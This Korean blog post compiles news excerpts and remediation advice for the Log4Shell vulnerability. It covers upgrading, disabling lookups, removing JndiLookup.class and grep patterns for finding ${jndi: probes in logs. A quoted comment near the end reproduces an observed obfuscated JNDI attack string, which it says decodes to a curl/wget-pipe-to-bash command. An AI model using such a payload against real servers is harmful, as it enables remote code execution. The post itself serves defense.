차근차근/시큐어코딩(secure coding)

log4j 취약점 해결방법

예쁜꽃이피었으면 2021. 12. 13. 11:07

https://www.dailysecu.com/news/articleView.html?idxno=132474 

 

아이오티큐브, 치명적 보안취약점 ‘Log4Shell’ 점검 도구 긴급 배포 - 데일리시큐

국산 오픈소스 취약점 점검 솔루션 개발사 아이오티큐브가 자사가 개발한 래브라도 OSS를 통해 치명적 보안 취약점 ‘Log4Shell’ 취약점 점검 서비스를 무료 배포한다고 12일 밝혔다.현존하는 대

www.dailysecu.com

문제는 ‘Log4Shell’에서 발견된 원격 코드 취약점(CVE-2021-44228)을 통해 목표 서버나 PC의 모든 권한을 취득할 수 있으며, 이는 비밀번호 입력 없이 목표 서버를 통해 정부 기관 및 기업의 데이터를 탈취하거나 악성 프로그램을 심어 다양한 보안사고를 유발할 수 있다.

해당 취약점은 마이크로소프트사의 마인크래프트를 통해 처음 발견됐지만, 보안 전문가들은 사실상 현존하는 모든 서버가 위험한 상태라고 주장하고 있다.


 

더보기

https://action713.tistory.com/entry/Apache-Log4j-2-CVE-2021-44228

 

Apache Log4j 2 CVE-2021-44228

https://news.v.daum.net/v/20211212105327384 "컴퓨터 역사상 최악 취약점 발견" 전세계 비상..긴급 보안패치 권고(종합) (서울=뉴스1) 송화연 기자 = 인터넷 서버용 소프트웨어인 아파치(Apache) 소프트웨어 재.

action713.tistory.com

Log4j란

Java코딩 도중에 프로그램의 로그를 기록해주는 애드온이다.

이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해 주는 기능이다.


 

더보기

https://cselabnotes.com/kr/2021/12/12/210/

 

Log4Shell: 초보자를 위한 Log4j 보안 취약점 알아보기 - 삐멜 소프트웨어 엔지니어

이 포스트에서는 2021-12-10일 발견된 Log4j 보안 취약점에 대해 알아보도록 한다. CVE 전체 링크 : CVE-2021-44228 CVE란? CVE는 Common Vulnerability and Exposure의 약자로 대중적으로 알려져있고 영향을 미칠 수

cselabnotes.com

 

CVE(Common Vulnerability and Exposure)란

CVE는 대중적으로 알려져있고 영향을 미칠 수 있는 소프트웨어 취약점을 의미한다.

대표적으로 리누긋 커널 보안 취약점, 파이썬 인터프리터 보안 이슈, 그리고 이번에 발견된 Log4j보안 취약점이 이에 해당한다.

 

0-데이 취약점

0-데이 취약점은 해커들이 개발자들보다 먼저 발견한 취약점을 의미한다. 개발자들은 취약점의 존재를 모르므로 공격당했는지도 모른다. 개발자가 취약점을 발견하고 패치했을 때는 이미 늦었을 수도 있다는 뜻이다.

이번에 발결된 Log4j취약점, 일명 Log4Shell은 0-데이 취약점이라고 부른다.

현재 문제가 있는 log4j라이브러리는 log4j-core-<version>.jar이다

 

Log4j취약점

Log4j취약점은 Log4j가 넘겨받은 변수를 그대로 로깅하는 것이 아니라 해당 변수를 분석해 실행할 수 있는 경우 실행하는 Lookups기능에서 발견되었다. 

예를 들어 log.info("디버깅{}",str);에서 str이 ${env:USER}이라면 ${env:USER}를 그래도 "디버깅 ${env:USER}"하고 로그를 남기는게 아니라 USER가 누군지 찾아서, "디버깅:fsoftwareenginner"이런 식으로 안의 구문을 실행할 후 출력한다.

현재 취약점은 룩업 기능 중에서도 특히 JDNI라는 룩업을 이용해 공격이 가능하다.

 

JNDI(Naming and Directory Interface)를 이용한 공격

JNDI는 보통 분산시스템에서 다른 리소스를 가져오는데 사용할 수 있다.

다른 리소스의 예로 자바 클래스 등을 들 수 있는데, 말하자면 공격자가 이 경로를 자신의 서버로 지정하면 취약점이 있는 거버가 공격자의 서버에서 클래스를 다운받는 것이다. 이렇게 공격자의 클래스를 다운받아 코드를 실행하는 것을 RCE(Remote Code Execution)이라고 한다.

 

왜 컴퓨터 사상 최악의 취약점이라고 하는가

~

4. 내 소스트웨어가 이미 공격당했는지  Log4j를 사용하기 시작한 시점부터 분석해야 한다.

예를 들어 10년간 Log4j를 사용해 서비스를 운영했다면 10년치의 로그를 분석해서 서비스가 공격받았는지 확인해야 한다는 뜻이다... 너무 무섭다.. 


 

 

https://cselabnotes.com/kr/2021/12/12/210/

 

Log4Shell: 초보자를 위한 Log4j 보안 취약점 알아보기 - 삐멜 소프트웨어 엔지니어

이 포스트에서는 2021-12-10일 발견된 Log4j 보안 취약점에 대해 알아보도록 한다. CVE 전체 링크 : CVE-2021-44228 CVE란? CVE는 Common Vulnerability and Exposure의 약자로 대중적으로 알려져있고 영향을 미칠 수

cselabnotes.com

- 현재 문제가 있는 log4j라이브러리는 log4j-core-<version>.jar 이다

- Log4j취약점은 Log4j가 넘겨받은 변수를 그대로 로깅하는 것이 아니라 해당 변수를 분석해 실행할 수 있는 경우 실행하는 Lookups기능에서 발견되었다.

- 현재 취약점은 룩업 기능 중에서도 JDNI라는 룩업을 이용해 공격이 가능하다.

 

해결방법

1. JDNI취약점이 해결된 버전으로 업그레이드한다.

2. log4j-core 2.10.0 ~ 2.15.0 Lookup을 중단하는 방법. 자바 어플리케이션 실행시 옵션으로 JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true를 넘겨 lookup을 못하게 하는 방법이 있다.

3. log4j-core 2.0-beta9 ~ 2.10.0의 경우 Classpath zip -q -d log4j-core-*.jar

org/apache/logging/log4j/core/lookup/JndiLoopup.class에서 JndiLookup클래스를 제거한다.

 

 



출처: https://jjanggu1612.tistory.com/entry/컴퓨터-역사상의-최악의-취약점-발견-로그-포-제이Log4j취약점 [낚시하는 프로그래머]

 

컴퓨터 역사상의 최악의 취약점 발견! 로그 포 제이(Log4j)취약점

컴퓨터 역사상의 최악의 취약점 발견! 로그 포 제이(Log4j)취약점 서버에서의 자바 기반의 오픈소스 유틸리티 프로그램 로그4j 에서 최고 위험도 보안 취약점이 발견이 되어서 해킹 위험성

jjanggu1612.tistory.com

해결방법

취약한 Log4j의 버전은 Log4j 2.0-bata0 ~ 2.14.1 까지의 모든 버전에 해당이 되어 긴급 업데이트가 필요하다.

해당 취약점의 해결 방법은

Log4j 2.0-bata9~2.10.0 버전의 경우 JudLookup클래스를 경로에서 제거(zip -q -d log4j-core-*.jar  org/apache/logging/log4j/core/lookup/JndiLookup.class)해야 하며

2.10~2.14.1버전은 Log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS환경변수를 true로 설정해야 된다. 제조사인 아파치 홈페이지를 통해서 2.15.0으로 업데이트 해야 한다.

 

https://logging.apache.org/log4j/2.x/download.html

 

Log4j – Download Apache Log4j 2

<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apa

logging.apache.org


https://velog.io/@bae12/Apache-RCE-%EC%B7%A8%EC%95%BD%EC%A0%90-Log4Shell-CVE-2021-44228%EA%B3%BC-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88

 

Apache RCE 취약점 Log4Shell (CVE-2021-44228)과 대응방안

2021년 11월 24일 Alibaba cloud 보안팀이 보고한 취약점 때문에 최근 난리도 아니다. 해당 취약점은 CVE-2021-44228, Log4Shell이라고 불린다.

velog.io

취약한 버전 및 제품

해당 취약점은 Apache Struts2, Apache Solr, Apache Druid, Apache Flink, Apache Spark, Apache Tomcat에서 발생 가능하며 2.2.0부터 2.14.1 버전 모두 취약하다.

취약할 수 있는 상용 제품 및 서비스는 현재까지 알려진 바로 Minecraft, Steam, Apple iCloud, Tencent, Twitter, Baidu, Didi, Cloudfare, Amazon, Tesla, ElasticSearch, Ghidra 이다. 실시간으로 확인하고자 하면 취약 서비스 목록 를 참고하면 된다.

대응 방안

JNDI lookup을 비활성화 하는 것이 핵심이다.
패치된 최신 버전으로 업데이트하거나, 용이치 않으면 직접 찾아가 조치를 해주어야 한다.
버전 별 조치 사항은 아래와 같다.

1. Java 8 사용 시

12월 10에 배포한 Apache Log4j 2.15.0으로 버전으로 업데이트
(12월 6일자 릴리즈는 불완전한 버전이다)

다만 Java 8을 사용하므로 Java 버전 업데이트가 필요할 수 있다

2. log4j 2.10.0 버전 이상 사용 시

Set log4j.formatMsgNoLookups or Dlog4j.formatMsgNoLookups to true

java 실행 인자에 nolookup을 활성화 하는 시스템 속성을 추가한다

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

main 메소드에서 System.setProperty를 추가해도 된다
Tomcat 등 서블릿 컨테이너 기반 서버는 각 컨테이너에 인자를 넣어야 할 수 있다

3. log4j 2.7.0 버전 이상 사용 시

Use %m{nolookups} in the PatternLayout configuration

설정 파일에서 로그 패턴에 nolookups을 추가해준다

PatterLayout %m -> %m{nolookups}

4. log4j 2.0.0 버전 이상 사용 시

Remove JdniLookup and JdniManager classes from log4j-core.jar

log4j-core.jar에 있는 JdniLoopkup과 JdniManager 클래스를 삭제한다

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JdniLookup.class

 

 


공격을 받았는지 확인은 어떻게 하지? 

 

https://xetown.com/topics/1636343

 

최대의 보안사고가 터지려나 봅니다

최대의 보안사고 중 하나가 터지는 것 같군요. CVE-2021-44228 혹은 Log4Shell 이라는 취약점으로, log4j 라는 모듈 때문인데, Apache 서버를 사용하는 분들은 우선 조심하셔야겠습니다. apache-log4j1.2 혹은 ap

xetown.com

최대의 보안사고 중 하나가 터지는 것 같군요. CVE-2021-44228 혹은 Log4Shell 이라는 취약점으로, log4j 라는 모듈 때문인데, Apache 서버를 사용하는 분들은 우선 조심하셔야겠습니다. 

 

apache-log4j1.2 혹은 apache-log4j2 라는 것이 설치되어 있으면 영향을 받는 것 같습니다. 

 

예를들면, Ubuntu/Debian 서버라면

% apt list --installed | grep "log4j"

% dpkg -l | grep log4j                (또는)

해서 목록이 뜨는지 체크해보세요. 만약 해당사항이 있다면 추가 조치가 필요합니다. 

 

1. log4j를 2.15.0 버전 이상으로 올리면 되는데, 정식 릴리즈 된 것이 아니라 설치하는데 손이 좀 가야겠지요.
2. log4j2.formatMsgNoLookups 속성을 true로 바꿔줘도 된다고 하네요 (log4j가 2.10.0이상인 경우). 터미널에서
% java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar
이렇게 한다는군요.
3. 그 밑에 버전들도 꼼수가 있기는 하네요.

 

초보자도 따라할수 있을만큼 쉽고도 막강한 기능(?)이라서 이를 활용한 랜섬웨어가 곧 등장할 것 같다는 것이 관련자들의 견해 같습니다 ㅠㅠ.
 

PS: 혹시 본인 시스템에 취약점이 있는지 누가 스캔하고 갔는지 찾아보려면 다음과 같이 터미널에서 입력하면 됩니다. (nginx 사용하고 로그파일이 /var/log/nginx/*.log에 있을 경우의 예)

 

% egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/nginx/*.log

% egrep -i -r '\$\{jndi:' /var/log/nginx/*.log

 

더보기

댓글1 ]
흔히 사용하는 아파치 웹서버(httpd)와는 무관합니다.

 
아파치 재단에서 굉장히 다양한 오픈소스 프로젝트들을 관리해 주고 있는데, log4j는 그 중 하나일 뿐이며 아파치라는 이름이 붙은 대부분의 다른 프로그램들과는 관련이 없습니다. 아, 물론 자바에서는 나름 유명한 라이브러리이기 때문에 자바로 만든 프로그램을 서버에서 돌리고 있다면 주의해야 합니다. RXE 커뮤니티에서 흔한 상황은 아니겠지만, 저는 아까부터 엘라스틱서치 사용하시는 분들 서버를 패치해 드리고 있네요.. ㅠㅠ
 
우분투 등 일반적인 리눅스 배포판에서 기본 제공하는 버전을 사용하신다면 조만간 apt-get이나 yum 등으로 업데이트할 수 있을 테니 임의로 덮어씌우기보다는 설정만 땜빵해놓고 조금 기다리는 것을 추천합니다.
 
단, 엘라스틱서치처럼 설정만 변경해서는 문제가 해결되지 않는 경우도 있습니다. 이 경우 log4j-core.버전.jar 파일을 일반적인 압축 프로그램으로 열어서 org/apache/logging/log4j/core/lookup/JndiLookup.class 파일만 삭제하고 다시 올리는 방법도 정식 업데이트를 기다리는 동안 임시땜방 방편으로는 꽤 괜찮습니다. (jar 파일은 사실상 zip 파일이므로 반디집 등으로 열어서 쉽게 조작할 수 있습니다.) 그런데 기왕 jar 파일을 직접 건드릴 거라면 취약점이 해결된 2.15.0 버전의 core 및 api 파일을 구해서 덮어씌우더라도 문제없을 가능성이 높습니다. 워낙 보수적으로 패치되는 프로그램이라...

해외에서는 마인크래프트가 비상이고... 국내에서는 자바를 많이 사용하는 공공기관과 기업들이 문제입니다. log4j가 기본 탑재된 스프링 프레임워크를 표준으로 정해 버렸으니...


EDIT: 전자정부프레임워크에 탑재된 버전이 너무 오래되어서 오히려 해킹이 안 된다는 썰이 들리네요. ㅋㅋㅋ
댓글2 ]
로그파일을 보면 어제만해도 보안회사 화이트봇들이 연구용으로 검색하고 다니는 것이 전부였는데, 지금은 러시아 IP를 비롯해서 여러 곳의 봇들이 해킹 명령어를 쓰면서 다니고 있네요.

 
예를들면, ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://xx.xx.xx.xx:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3.......... 이런식인데, decoding해보니까 (curl -s .... || wget -q -O- ...) | bash 이런 명령어를 실행하는 것이네요. 패치안한 서버들은 오늘을 못넘길 것 같습니다.


 

 

반응형